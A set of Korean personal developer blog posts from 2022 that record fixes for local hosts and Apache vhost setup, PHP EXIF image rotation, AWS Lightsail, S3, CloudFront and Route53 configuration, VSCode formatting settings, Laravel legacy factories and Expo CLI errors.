시작 하기전에 hosts 라는 놈이 무슨 일을 하는지 간략하게 설명하자면 여기다 ip 주소 선언하고 어떤 도메인이든 써놓으면 곧이 곧대로 들어가진다.
쉽게 말해서 내 로컬호스트에서 PHP 돌리고있고 hosts 파일에다가 naver.com 이라고 도메인 접속하면
찐 네이버가 아니라 내 로컬 컴퓨터의 PHP 사이트를 띄운다는 소리다.

여튼 hosts 파일 설정하는 방법은 별거 없다 메모장이나 텍스트 에디터 파일 "관리자 권한" 으로 열어서 수정하면된다.

경로 : C:\Windows\System32\drivers\etc

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost

127.0.0.1	localhost
::1	localhost
127.0.0.1	test.tw
::1	test.tw
127.0.0.1	shop.test.tw
::1	test.hangloo.tw

# 127.0.0.1 naver.com

만약에 위처럼 서브 도메인(shop)으로 추가해서 작업하고싶으면 IP 는 똑같이 두되 , apache httpd-vhosts 파일에서 수정을 해줘야한다.
나는 xampp 를 깔아서 경로가 이런것이고 혹 xampp 가 아닌 별도로 아파치를 설치했다면 설치한 경로로 찾아가서 conf 폴더 뒤져보면 된다.

경로 : C:\xampp\apache\conf\extra\httpd-vhosts.conf

# Virtual Hosts
#
# Required modules: mod_log_config

# If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at 
# <URL:http://httpd.apache.org/docs/2.4/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.

#
# Use name-based virtual hosting.
#
##NameVirtualHost *:80
#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for all requests that do not
# match a ##ServerName or ##ServerAlias in any <VirtualHost> block.
#
##<VirtualHost *:80>
    ##ServerAdmin webmaster@dummy-host.example.com
    ##DocumentRoot "/xampp/htdocs/dummy-host.example.com"
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog "logs/dummy-host.example.com-error.log"
    ##CustomLog "logs/dummy-host.example.com-access.log" common
##</VirtualHost>

##<VirtualHost *:80>
    ##ServerAdmin webmaster@dummy-host2.example.com
    ##DocumentRoot "/xampp/htdocs/dummy-host2.example.com"
    ##ServerName dummy-host2.example.com
    ##ErrorLog "logs/dummy-host2.example.com-error.log"
    ##CustomLog "logs/dummy-host2.example.com-access.log" common
##</VirtualHost>


<VirtualHost *:80>
    ServerAdmin my@example.com
    DocumentRoot "C:\web_developer\myProject"
    ServerName test.tw
    DirectoryIndex index.php
    ErrorLog "logs/dummy-host.example.com-error.log"
    CustomLog "logs/dummy-host.example.com-access.log" common
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin my@example.com
    DocumentRoot "C:\web_developer\myProject\shop"
    ServerName shop.test.tw
    DirectoryIndex index.php
    ErrorLog "logs/dummy-host.example.com-error.log"
    CustomLog "logs/dummy-host.example.com-access.log" common
</VirtualHost>

[EXIF] 이미지 회전 문제 Javascript -> PHP 로 보낸 blob 에서 EXIF 데이터 추출하기

월공 — Tue, 22 Nov 2022 14:40:47 +0900

이미지 회전되는 이슈가 있어서 이미지 등록이 진행되는 부분에서 EXIF 값을 받아와야할일이 있었는데
계속 못받아오네 ?
javascript 에서 FileReader 를 이용해가지고 ajax 방식으로 blob 데이터를 php 쪽으로 보내는데 왜 못받아오는지 이해가 안갔다

우선 javascript 부분에서 대충 아래와 같이 대충 action.php 에다가 ajax 방식으로 blob 값 보내주는거 있다고 치자

..중략

imageLoader = function(file,num) {

    sel_files.push(file);
    var reader = new FileReader();				

    reader.onload = function(ee) {        
        $.ajax({
            type: 'POST',
            url: '/action.php',
            data: $('#formData').serialize() + '&filedata='+ee.target.result+'&filename='+file.name,
            cache:false,global:false,async:true,
            dataType: 'json',
            beforeSend: function() {
                $('#loading').show(); 
            },
            success: function(data) {
                console.log(data);
                if(data.error == 'T') {
                    console.error(data.msg);
                } else {
                    console.log('처리완료');								
                }
                $('#loading').hide();
            }
        });					
    }
    reader.readAsDataURL(file);
}

..중략

참고로 EXIF 이용해서 javascript 단에서 orientation 확인하고싶으면 아래 소스 사용하면됨
위에꺼랑 아래꺼 적당히 믹스해서 쓰면 된다.
근데 나한테 문제는 이게 아니었다.

<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/exif-js"></script>

<script>
    EXIF.getData(file, () => {
        const orientation = EXIF.getTag( file, "Orientation" );						
        switch( orientation ) {
            // 이미지 회전값이 0인경우 ( 정방향 )
            case 1 :
                document.getElementById( "thumbnailImg" ).style.transform = "rotate( 0deg )";
                break;

            // 이미지 90도 회전 ( 오른쪽으로 270도 회전해야됨 )
            case 6 :
                document.getElementById( "thumbnailImg" ).style.transform = "rotate( 270deg )";
                break;

            // 이미지 180도 회전 ( 오른쪽으로 180도 회전해야됨 )
            case 3 :
                document.getElementById( "thumbnailImg" ).style.transform = "rotate( 180deg )";
                break;

            // 이미지 270도 회전 ( 오른쪽으로 90도 회전해야됨 )
            case 8 :
                document.getElementById( "thumbnailImg" ).style.transform = "rotate( 90deg )";
                break;
        }						
    });
</script>

action.php 에 blob 값이 분명히 잘 넘어왔는데 도대체 왜 PHP 단에서 exif 값이 안보이는건지 도무지 이해가 가지않았다.
이거 때문에 별 삽질을 다해봤는데 우선 직접 이미지를 로컬에서 blob 값을 추출해보기도 해봤다.

//참고로 아래처럼 넣으면 파일 인식 못해서 없다고 오류남, 꼭 url 로 넣어줘야됨 ㅋㅋ
//$blob = addslashes(file_get_contents('./KakaoTalk_20221103_173624744.png'));

/*
아래처럼 넣어주면 blob 값을 잘 갖고온다. 근데 addslashes 는 굳이 필요없어서 안해줘도됨
addslashes 는 문자열안에 mysql 이 뻑날수 있는 홀따옴표나 쌍따옴표 등 이 포함되있으면 앞에다
역슬래시 추가시켜주는 놈이다.
반대로 stripslashes 라는 놈도 있다.
*/
// $blob = addslashes(file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg'));

// 이미지 파일에서 blob 데이터 추출
$blob = file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg');

$exif = exif_read_data("data://image/jpeg;base64," . base64_encode($blob));

// 이미지 회전값 추출
echo $exif['Orientation'];

이러면 잘 가져온다.
근데 왜 넘긴 php 페이지에선 같은 이미지인데도 불구하고 orientation 을 못받아올까 ??

도저히 이해가 안가서 심지어 두개 파일 length 비교까지 해봤는데 똑같더라 ㅋㅋㅋㅋ

//로컬 파일 blob 길이
echo strlen(base64_encode(file_get_contents('http://localhost/images/142825_20220907154304_5919.jpg')));


//javascript 에서 추출해서 넘긴 blob 길이
echo strlen($data['blob']);

눈으로 비교는 할수가없다 blob 파일 봤으면 알다시피 엄청나게 길다 ..
괜히 잘못 불러왔다가 에디터 뻑날정도로 길다.

결국 javascript 에서 넘긴거랑 PHP 자체에서 만든 blob 파일이랑 sublime text 에서 비교를 해봄
오죽하면 이렇게까지 했겠어 ~
여튼 보다보니 다른점이 보인다.

javascript 에서는 19OleV E/C91a HriFL5 이런식으로 넘겨준다고 치면
PHP 에서는 19OleV+E/C91a+HriFL5 이런식으로 넘겨진다.

결국 javascript 로 넘겨진 blob 데이터 안의 내용물의 빈칸을 + 로 replace 해주면 되겠다는 생각이 들었다.

//$data['mime'] 에는 'image/jpeg' , 'image/png' 같은 값들이 들어간다. 알아서 추출해서 넣어주면됨
$exif = exif_read_data("data://".$data['mime'].";base64," . str_replace(" ","+", $data['blob']));

echo $exif['Orientation'] . '아니 이게 뭐라고 ';
exit;

이렇게 해주니 javascript 에서 넘겨준 blob 데이터에서도 exif 데이터를 잘 추출해오는것을 확인할수 있었다.
되게 별거 아닌데 나를 좀 상당히 빡치게 해서 기록 남겨둔다..

이제 받아오는 데이터 기준으로 Orientation 값 추출 할수있으니 내 입맛에 맞게 rotate 시켜주면 되겠다~

if(!empty($exif['Orientation']))
{
    switch($exif['Orientation'])
    {
        case 8:
            $image = imagerotate($image,90,0);
        break;
        case 3:
            $image = imagerotate($image,180,0);
        break;
        case 6:
            $image = imagerotate($image,-90,0);
        break;
    }
}
header('Content-type: image/jpeg');
imagejpeg($image);
imagedestroy($image);

아이씨 이거 때문에 ~~개빡쳤네~~

추가적으로 더 덧붙힘

이미지 오리값도 가져왔겠다 이제 그걸 바꿔서 다시 설정해줘야하는데 어떻게 할까 ?
보아하니 imagejpeg 이라는 함수가 바뀐 이미지를 저장해주는 역할을 해준다.
그럼 아래 처럼 되지않을까 ??

if($exif['Orientation']) {

    $source = imagecreatefromjpeg("data://".$data['mime'].";base64," . str_replace(" ","+", $data['blob']));

    switch($exif['Orientation']){
        case 8 : $source = imagerotate($source,90,0); break;
        case 3 : $source = imagerotate($source,-90,0); break; //기존에 -180 이었음
        case 6 : $source = imagerotate($source,-90,0); break;
    }
	
    //이미지 임시로 저장할 폴더 (회원번호별 폴더 생성)
    $path = "./img/temp/".$data['id'];

	//해당 폴더 존재하지않으면 만듬
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }

	//거기다 저장해줌
    imagejpeg($source , $path.'/'.$_REQUEST['filename']);						

	//거기에 저장해준걸 다시 가져와서 blob 데이터로 변환함
    $data['blob'] = base64_encode(file_get_contents('http://localhost/images/'.$data['uid'].'/'.$_REQUEST['filename']));
}

근데 뭔가 상당히 비효율적이다.
이미지를 굳이 임시로라도 저장을 해야하나 ? 난 저장하기 싫은데 ..?
저장했다 쳐도 저거 나중에 또 날려줘야되잖아

그래서 좀 더 찾아보니 더 좋은 방법이 있더라
이미지 오리값 조정한거로 다시 저장하고 폴더 생성이고 뭐고 다 필요없고, 아래처럼 해주면 끝남

ob_start();
imagejpeg($source);
$i = ob_get_clean(); 

$data['blob'] = base64_encode($i);

간단하게 정리하면 ob_start() 라는 녀석이 출력 버퍼링을 켜는 명령어이고, 이게 켜져있는동안 헤더를 제외한 모든 출력을 내부 버퍼에 저장하고 실제 전송을 하지않는다고한다.
그리고 ob_get_clean 이라는놈이 출력 버퍼의 내용을 반환하고 , 버퍼링을 종료해서 저 $i 에 blob 값이 담긴다.

[AWS] Lightsail DB 접근 안될때 방화벽 설정 방법

월공 — Tue, 8 Nov 2022 09:45:16 +0900

Lightsail 에 우분투 mysql 이 돌아가고있는데 연결툴 (ex. HeidiSql) 에서 접근이 안될때 해결방법이다.

상당히 간단하다.
리눅스에 접근이 안되는 이유는 뭐 여러가지가 있겠지만 제일 높은 확률로 방화벽이 문제다.

난 처음에 aws 개념이 아직 익숙치 않아서 lightsail ssh 접속해갖고 sudo sfw status 등 여러 뻘짓을 해봤으나
command not found 나 뱉어내고 있고
뭐야 이거 방화벽 아예 설치 안되있나 ? 안깔려있는데 이걸 어케 막아 ? 미친놈인가? 왜 나한테만 접근이 엄격한데 ?
라는 생각을 하다가
생각해보니 이런거 막아주려고 편하게 aws 쓰는것도 있지않냐 ? 라는 생각이 머릿속에 스쳐서 Lightsail 설정을 확인해봤더니 역시나 아니나 다를까 설정이 있더라

인스턴스 상세페이지 - 네트워킹
하단에 IPv4 방화벽

요놈이 핵심

보다시피 , 3306 포트 허용해주는게 없다.
한번 규칙을 추가해보자

아래처럼 추가가 완료 되고나서 다시 HeidiSQL 에서 접속을 해보자

정상적으로 접속이 된다 !

aws 같은건 쓰지 못하고 센토스 6,7,8
iptable 이랑 firewall 만 쓰던 단순한 사람이라 이런게 상당히 충격적이기도하고 신기하기도한데
그럼 aws 에서 설정해주면 보통 Ec2 나 Lightsail 내부에서 돌아가는 리눅스 안에서는 방화벽을 굳이 안막아도되는건가 ?
다른 실무 세팅은 어떻게 되있는지 참 궁금하다.

[AWS] Lightsail 도메인 SSL 인증받기 #https #bncert-tool #bitnami

월공 — Wed, 2 Nov 2022 23:28:51 +0900

프론트단은 S3 랑 CloudFront 에서 다 돌고있어서 이미 aws 웹사이트상에서 인증서 까지 다 발급 받은상태라 상관없는데
api 형식으로 데이터 던져주는 백단이 문제였다.

api.example.com 라는 example.com 의 서브도메인을 어쨋든 ssl 발급을 해줘야했는데 이건 aws 웹에서 하는게 아니라
직접 lightsail ssh 접속해서 발급 받을수 있었다.
정확히는 LightSail 에 bitnami 로 세팅 되어있었다.

아래 명령어로 편리하게 발급 받을수 있었는데, SSL 설정을 쉽게 해주는 비트나미 헬퍼 툴이라고 한다

sudo /opt/bitnami/bncert-tool

중간에 Warning 어쩌고 뜨면서 이미 현재 아이피에 연결되있는 도메인이 있다고 하길래 이걸 실행하기전 내가 certbot 명령어 막 치면서 삽질한 내역이 생각나서 내가 설치했던 letsencrypt 폴더를 아예 날려버리고나서 재실행하니까
위와 같은 경고문구는 뜨지않았다.

위에 썻다시피 내가 필요한건 api.example.com 의 인증서라 그대로 치고나면
www.api. 로 시작하는 인증서는 필요없냐? 라고 물어보는데 당연히 필요없어서 n , Enter

마지막으로 HTTPS redirection 물어보는데 y

그 외엔
1. 웹서버 꺼질거임
2. 요청한 도메인으로 Let's Encrypt 인증서 발급될거임
3. crontab 에 달달이 자동 갱신되게끔 세팅될거임
4. 2번이랑 비슷
5.HTTP 에서 HTTPS 로 redirect 세팅
6. 위에것들 다되면 다시 웹서버 켜질거임

이것들 다 괜찮음? 이라고 하는듯합니다.
저는 그래서 Y

이러고나서 도메인 접속하니까 바로 SSL 발급 정상적으로 처리된것을 확인 할수있었습니다.

[AWS] S3 에 폴더 업로드하기 , 윈도우 aws cli 세팅 방법

월공 — Tue, 1 Nov 2022 21:12:41 +0900

웹상에서도 업로드가 가능하지만 aws cli 를 이용하여 커맨드로 업로드 하는 방법을 포스팅 할게요.S3 에 myexample.com 이라는 버킷을 생성했다치고 여기다 폴더를 업로드 해보겠습니다.

1. 우선 aws cli 설치는 필수
https://s3.amazonaws.com/aws-cli/AWSCLI64.msi

정상적으로 설치가 되었다면 cmd 창에서 "aws" 라고 치면 아래와 같이 뜨는걸 볼수 있습니다.

우측 상단에 "Design Present" -> "보안 자격 증명"

"액세스 키(액세스 키 ID 및 비밀 액세스 키" 선택 후 액세스 키 만들면됩니다.
최대 2개밖에 안되니까 기존에 이미 2개 발급되어있다면 안쓰는걸 지우시거나 그래야해요.

키 파일 다운 받아서 안에 있는 내용물대로 입력해줍니다.

aws configure

AWS Access Key ID [None] : 다운 받은 파일 내에 있는 KeyID
AWS Secret Access Key [None] : 다운 받은 파일 내에 있는 Key

입력 후 그 외엔 그냥 Enter

2. cli 에서 command 명령어

업로드, 다운로드 하는 명령어는 아래와 같습니다.

//폴더 업로드 명령어 
aws s3 cp [로컬 경로] s3://[버킷명] --recursive
aws s3 cp C:\web_developer\myexample.com s3://버킷명 --recursive

그냥 지금 있는 폴더에 있는 애들 그대로 올리고싶으면 git bash 나 cmd 창 열어서 아래처럼 진행
aws s3 cp ./ s3://버킷명 --recursive

//폴더 다운로드 명령어
aws s3 cp s3://[버킷명] [로컬 경로] --recursive

//그외
//aws 버전 확인
aws --version

//aws s3 버킷 리스트 확인
aws s3 ls

//aws s3 특정 버킷의 파일목록 뽑아보기
aws s3 ls s3://버킷명

제 로컬에 myexample 폴더에 구성은 아래와 같았습니다.

업로드하는 명령어를 치면 아래처럼 업로드 된 파일 내역들을 볼수 있습니다.

그리고 버킷에서도 정상적으로 업로드 된것을 확인할 수 있습니다.

원래는 파일의 상세페이지 들어가서 속성에 객체 개요 에서 객체 URL 들어가서 html 파일이 잘 열리는거까지 포스팅 하려했는데 기존에 만들어놨던 버킷이라 정책을 또 수정해야되서 ㅎㅎ;;
우선은 여기까지만 포스팅 진행하겠습니다 !

아 그리고 cloudfront 랑도 엮여있다면, 저처럼 업로드 해놓고 왜 바로바로 페이지에 적용이 안돼
뭐야 이거 하시는분 계실수도 있을까봐..

cloudfront 해당 상세페이지에서 무효화 처리를 해줘야합니다..ㅠ
그것도 모르고 왜 js 안바뀌지 하면서 혼자 스트레스 받고있었네요

[AWS] S3 -> CloudFront 극대노 연결 후기 #Route53

월공 — Fri, 28 Oct 2022 22:44:22 +0900

cafe24 에서 서버 빌려서 작업하거나, 회사 서버에서만 끄적거렸던 나에게 험난한 경험이 다가오게된다.
바로 AWS ...

극대노 연결 후기를 작성한다.
들어가기전에 앞서 아래는 나같은 게초보가 이해할수 있게끔 내가 이번에 사용했던 AWS 서비스 별 한줄요약이다.

S3 = 구글 드라이브랑 비슷함 , 파일보관 용도, 다만 특이하게 내가 원하는 도메인으로 연결해서 보는거 가능

LightSail = cafe24 서버 빌리는거랑 비슷

Route53 - 도메인 구매 및 연결하는곳

CloudFront - CDN 방식으로 assets 들 저장해서 더 빨리 불러올수 있게함

난 처음에 너무 헷갈렸다.
LightSail 이란놈에게서 서버가 돌아가고있는데 , S3 에서도 접속이 되네 ?
S3 도 서버 역할 하는건가 ? 여기다가 자바 깔고 ,PHP 깔수있는건가 ? 푸티 접속해서 systemctl 뭐시기 치는건가?
싶었는데 그게 아니고 S3 는 말그대로 저장소 역할 하는놈이다.
친한 개발자 형에게 여쭤보니 보통 이미지 저장소로 많이 쓰인다고 하더라.

여튼 내가 하고자 했던것은

S3 에 올라가있는 html 을 도메인 연결해서 열고싶었다.
aws 제대로 알지도 못해서 끄적이다가 Access Denied 만 엄청 본듯..
열받은김에 까먹으면 더 열받을까봐 정리 들어간다..

아 도메인은 이미 보유하고있고, SSL 인증서도 기존에 발급 받아있다는 가정하에 진행한다
그리고 창 3개 틀어놓고 하는게 편하다
하나는 S3, 하나는 CloudFront, 하나는 Route53

처음에 아래 이미지를 보고 이해를 못했는데 이제서야 이해가 된다.
딱 이런 구조가 된다.

S3

얘는 "버킷" 이라는 개념이 존재하다 약간 도커로 치면 컨테이너 개념 비슷
말그대로 양동이, 그냥 윈도우 탐색기로 치면 버킷 하나에 폴더 하나라고 보면 편하다
보통 example.com 이런식으로 버킷 이름을 만듬

버킷 이름 당연히 중요하고 , 리전은 그냥 그대로 두면 됨

이 버킷의 퍼블릭 액세스 차단 설정, 저거 기본으로 "모든 퍼블릭 액세스 차단" 되어있는데 이거 풀어줘야된다.
안풀어주면 말그대로 다 차단해서 접근을 못함
차단 풀어주고 밑에 퍼블릭 상태 되는데 찐으로 괜찮냐? 묻는거 체크 해주면됨

버킷 만드는건 별거없다
1. 버킷 이름 짓고,
2. 퍼블릭 접근 갠춘 체크

아래 처럼 버킷이 하나 생길꺼다, 난 삽질을 하도 많이해서 버킷 3개나 있음 ㅎㅎ

자 이제 만들었으니까 이름 클릭해서 들어가갖고 html 파일 하나 아무거나 올려보자
들어가면 "객체" 쪽에

버튼 겁나 잘 보이게 있으니 누구나 쉽게 올릴수있다.
아래 스크린샷 객체(8) 은 무시해도된다.
다른 짜잘한 파일이 있어서 부끄러우니까 일부러 index.html 만 보여주려고 검색해서 캡쳐함

여튼 여기서 index.html 을 들어가게되면 아래와 같은 화면이 나오는데

저기서 객체 URL 클릭했을때 index.html 잘 열리는지 부터 확인하자
만약에 잘 안열리면 버킷 만들때 퍼블릭 뭐시기 정상적으로 안열려서 그렇다

정상적으로 잘 열었는데 안열리는 경우엔 정책을 수정해줘야되는데 그건 밑에서 한번에 추가하면되니까 우선 넘어가자

CloudFront

배포 -> 배포 생성

1. 원본 도메인 선택
버킷을 정상적으로 만들었다면 원본 도메인에 내가 방금 만든 버킷이 보인다 그거 클릭해서 넣어주자

Select box 가 밑에 가려서 캡쳐본엔 보이지 않는다만

2. 원본 경로 - 선택 사항
이 있는데, 이건 버킷에 index.html 이 그냥 해당 폴더의 최상위 / 에 위치해있으므로 그냥 아무것도 안적어도된다
만약에 m 이라는 폴더에 있으면 /m 이라고 적어주면된다.

3. 이름
1번에서 원본 도메인 선택을 했다면 여기에 이름이 자동으로 채워지면서
S3 버킷 액세스 라고 보일거다 이 부분이 핵심

"원본 액세스 제어 설정(권장)" 클릭 -> 제어 설정 생성 클릭 누르면

이름 기본으로 들어가있는데 굳이 수정 안해도된다. 다른거 건드리지말고 그대로 생성 클릭

기본 캐시 동작은 기본값 그대로 놔둬도된다.

함수 연결 - 선택 사항 도 기본값 놔둬도 됨

맨 마지막 "설정" 부분에서 대체 도메인 입력

그리고 대체도메인 입력할거면 사용자 정의 SSL 인증서 선택하라고한다.
그러고 난후에 다른건 다 기본값으로 놔두되 , 연결할 루트 객체에 index.html 이라고 써주자

이렇게 하면 배포 생성 완료되고 목록에 보면
내가 방금 만든 배포본이 나와있다, 내가 방금 입력한 대체도메인도 이쁘게 잘 들어가있으면된거다.

여기서 이제 "도메인 이름" 을 보면 뭔가 변태같이 암호화 된것마냥 ljkfdsaasdfas134.cloudfront.net 이라고 되어있는데
거길 한번 들어가보자 정상적으로 접속이 안되는걸 확인할 수 있다.
사이트에 연결을 할수 없다거나 Access Denied 가 뜰거다 ( 이부분은 정확히 체크를 안해서 다시 확인 필요)
여튼 안될건데 정책을 추가해줘야한다.

내가 방금 만든 배포본 상세 ID 클릭해서 상세페이지로 진입하고 "원본" 클릭

원본 진입하면 아래와 같은 창이 뜨는데 거기에 있는거 체크 하고 "편집" 클릭

편집창 들어가서 밑에 좀 내리면 "정책 복사" 라는 버튼이 생겨있는데 해당 부분 클릭해서 정책 복사

정책 복사 하면 아래와 같은 내용이 복사가 된다.

{
        "Version": "2008-10-17",
        "Id": "PolicyForCloudFrontPrivateContent",
        "Statement": [
            {
                "Sid": "AllowCloudFrontServicePrincipal",
                "Effect": "Allow",
                "Principal": {
                    "Service": "cloudfront.amazonaws.com"
                },
                "Action": "s3:GetObject",
                "Resource": "arn:aws:s3:::myexample.com/*",
                "Condition": {
                    "StringEquals": {
                      "AWS:SourceArn": "arn:aws:cloudfront::11111111111111:distribution/E1AWXWSPWWWWJ"
                    }
                }
            }
        ]
      }

이거 복사 잘 해둔채로 다시 아까 만들었던 버킷 상세 페이지로 간다.
상세 페이지에서 "객체" 가 아닌 "권한" 페이지로 이동하면 아래와 같은 페이지가 보이는데
저기서 "버킷 정책" - "편집" 창 들어가서 방금 복사했던거 복붙하고 "변경 사항 저장"

이렇게 정책 추가 하고나서 CloudFront 의 변태같던(ljkfdsaasdfas134.cloudfront.net) 도메인을 클릭해서 들어가보면 정상적으로 html 페이지가 열리는걸 확인할수 있다.

Route 53

호스팅 영역이 이미 있다는 가정하에 도메인 진입 하면 레코드들을 볼수있는데 거기서 레코드 생성

서브도메인 쪽은 아무것도 쓰지말고 레코드 유형 맞게 선택
(서브도메인쪽에 www 붙은 버전으로 하나 더 만들어도 된다.)
그리고 별칭 체크해서 CloudFront 배포에 대한 별칭 선택하고 아래 아까 그 변태같던 도메인 선택

하면 내가 원하는 도메인으로 연결이 된것을 확인할수 있다.
접속도 잘된다.

편의상 반말로 포스팅 했는데 양해부탁드립니다.
저도 aws 에대해서 정말 하나도 모르고 혼자 삽질하다가 겨우겨우 한거라 .. 혹시 이상하거나 저대로 안되는거 있으면 댓글 부탁드립니다 !

[VSCODE] 코드 자동정렬 문제 (11.11 내용추가 - css 파일 저장시 자동정렬)

월공 — Tue, 11 Oct 2022 10:29:49 +0900

혼자서 작업할땐 상관이 없는데 여러명과 작업을 할땐 각자 개발환경이 다르고 에디터도 다르므로 기존에 소스 포맷 그대로 놔두는게 낫다
오늘 포스팅 하는 건은 자동정렬 때문에 이슈가 생겼어서 이를 방지하는 방법에 대해서 기록

vscode 기준으로
난 자동정렬을 쓰지않는데 .. 자꾸 자동정렬이되어서 저장이되고 그 상태로 커밋,푸시가 되니 소스 파일이 1번라인 부터 전체적으로 <<< HEAD 요지랄 이 따서 기존 개발하시는 개발자형님들이 심기가 불편해하시는 일이 발생

처음에 vscode 에서 ctrl + , 를 눌러서 설정창에 들어가갖고 "FormatOnSave" 를 체크 해제해서 다 끝난일인줄 알았으나

이건 저장할때 자동정렬 되는걸 방지해주는거고
문제는 내가 소스 복붙했을때 자꾸 자동정렬 되는 문제가 발생
이거는 settings.json 파일을 찾아서 직접 수정해주자

ctrl + P 를 눌러서 파일 찾기에 "settings.json" 이라고 쳐주면 아래와 같은 비슷한 형식의 파일이 나오는데

위 이미지 기준 28번 라인

"editor.formatOnPaste": false

저 부분을 false 로 해주면 해결됨.
난 기존에 true 로 되있어서 자꾸 복붙하면 지 멋대로 format이 발동되는 이슈가 있었음

초기부터 개발환경이나 확장팩 싹다 맞추고 작업하는거 아니면 이런 문제도 발생하는걸 알수있는 계기가 되었다.

아이 싯8 진짜 css 파일 저장할때 자동정렬 되는거 때문에 한번 더 찾아왔다.

Ctrl + Shift + P 눌러서

Formatter Config 진입

formatter.json 파일이 열리는데 이거 onSave 가 true 로 되있는데 이걸 false로 바꾸고 vscode 재시작 하면
저장할때 정렬되는 문제 해결된다.

뭐 그러진 않겠지만 혹시나 formatter.json 파일 날려먹은분을 위해 기존 세팅 복붙 해둔다.

{
    "onSave": false,
    "javascript": {
        "indent_size": 4,
        "indent_char": " ",
        "eol": "auto",
        "preserve_newlines": true,
        "break_chained_methods": false,
        "max_preserve_newlines": 0,
        "space_in_paren": false,
        "space_in_empty_paren": false,
        "jslint_happy": false,
        "space_after_anon_function": false,
        "keep_array_indentation": false,
        "space_before_conditional": true,
        "unescape_strings": false,
        "wrap_line_length": 0,
        "e4x": false,
        "end_with_newline": false,
        "comma_first": false,
        "brace_style": "collapse-preserve-inline"
    },
    "css": {
        "indent_size": 4,
        "indentCharacter": " ",
        "indent_char": " ",
        "selector_separator_newline": true,
        "end_with_newline": false,
        "newline_between_rules": true,
        "eol": "\n"
    },
    "html": {
        "indent_inner_html": false,
        "indent_size": 4,
        "indent_char": " ",
        "indent_character": " "
    }
}

[Laravel] factory , seeder 사용시 Call to undefined function factory()

월공 — Fri, 23 Sep 2022 23:10:09 +0900

#생성할 데이터 타입에 맞는 format 지정
php artisan make:factory BookableFactory --model=Bookable

# seeder 생성
php artisan make:seeder BookablesTableSeeder
# 마이그레이션 재실행, DB 재구성
php artisan migrate:fresh --seed

#BookableFactory.php

<?php

/** @var \Illuminate\Database\Eloquent\Factory $factory */

use App\Bookable;
use Faker\Generator as Faker;
use Illuminate\Support\Arr;

$suffix = [
    'Villa',
    'House',
    'Cottage',
    'Luxury Vialls',
    'Cheap House',
    'Rooms',
    'Cheap Rooms',
    'Rooms',
    'Luxury Rooms',
    'Fancy Rooms'
];

$factory->define(Bookable::class, function (Faker $faker) use ($suffix) {
    return [
        'title' => $faker->city . ' ' . Arr::random($suffix),
        'description' => $faker->text(),
    ];
});

#BookablesTableSeeder.php

<?php

use App\Bookable;
use Illuminate\Database\Seeder;

class BookablesTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        factory(Bookable::class, 100)->create();
    }
}

BookablesTableSeeder.php 에서 factory undefined 오류

laravel 8 에서부터 factory 는 존재하지않아서 오류가 남
아래 명령어로 레거시 패키지 추가해서 해결할수 있음

composer require laravel/legacy-factories

composer 추가한 후에 vscode 한번 껐다 재시작 하고나니까 잘됨

[Laravel] routes/web.php

월공 — Fri, 23 Sep 2022 13:19:25 +0900

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

// api/* 로 시작하는 거 제외하고는 싹다 welcome view 로 보내라
Route::get('/{any?}', function () {
    return view('welcome');
})->where('any', '^(?!api\/)[\/\w\.\,-]*');

https://regex101.com/

regex101: build, test, and debug regex

Regular expression tester with syntax highlighting, explanation, cheat sheet for PHP/PCRE, Python, GO, JavaScript, Java, C#/.NET.

regex101.com

[React-Native] 프로젝트 생성에서부터 삐걱 Input is required, but Expo CLI is in non-interactive mode.

월공 — Thu, 18 Aug 2022 13:45:10 +0900

React Native 강의를 좀 들어보고있는데 xde 를 쓰네, 근데 xde 는 서비스 종료했다고 하네 ?

어쨌든 아래 npm 명령어로 expo-cli 설치하고 프로젝트 생성해서 좀 해볼라하는데 오류가 난다

아 참고로 npm install 할때 자꾸 말썽이면 아싸리 node, npm 재설치하는게 낫다

npm install expo-cli --global

// React-Native 프로젝트 생성할 경로
c/web_developer/react-native

//react-native 프로젝트 생성
expo init [프로젝트명]

아래와 같은 오류 발생

cd rn[13:04:41] Input is required, but Expo CLI is in non-interactive mode.
--template: argument is required in non-interactive mode. Valid choices are: "blank", "tabs", "bare-minimum" or any custom template (name of npm package).

찾아보니 git bash 에서 실행시켜서 에러나는거라고 함
깔끔한건 git bash 가 최고인데 이 녀석이 복병이었을줄이야 .. 에휴

여튼 powershell 열고 여기서 실행시키니까 프로젝트는 정상적으로 생성됨

expo start 로 실행시켜볼라니깐 여기서 또 에러 발생 ㅋㅋㅋㅋ
아직 react native 제대로 시작도 안해봤는데 하기도전에 벌써 싫어질라한다 ..

Starting project at C:\web_developer\react-native\rn2
√ It looks like you're trying to use web support but don't have the required dependencies installed. Would you like to
install react-native-web, react-dom? ... yes

× Failed to install react-native-web@~0.18.7, react-dom with error: npm exited with non-zero code: 1

에러 문구 보니 react-native 랑 react-dom 안깔려있다고 해서
적당히 npm install 로 각각 설치하고 다음 넘어가려하는데 또 아래와 같은 에러 발생

This command is being executed with the global Expo CLI. Learn more: https://blog.expo.dev/the-new-expo-cli-f4250d8e3421
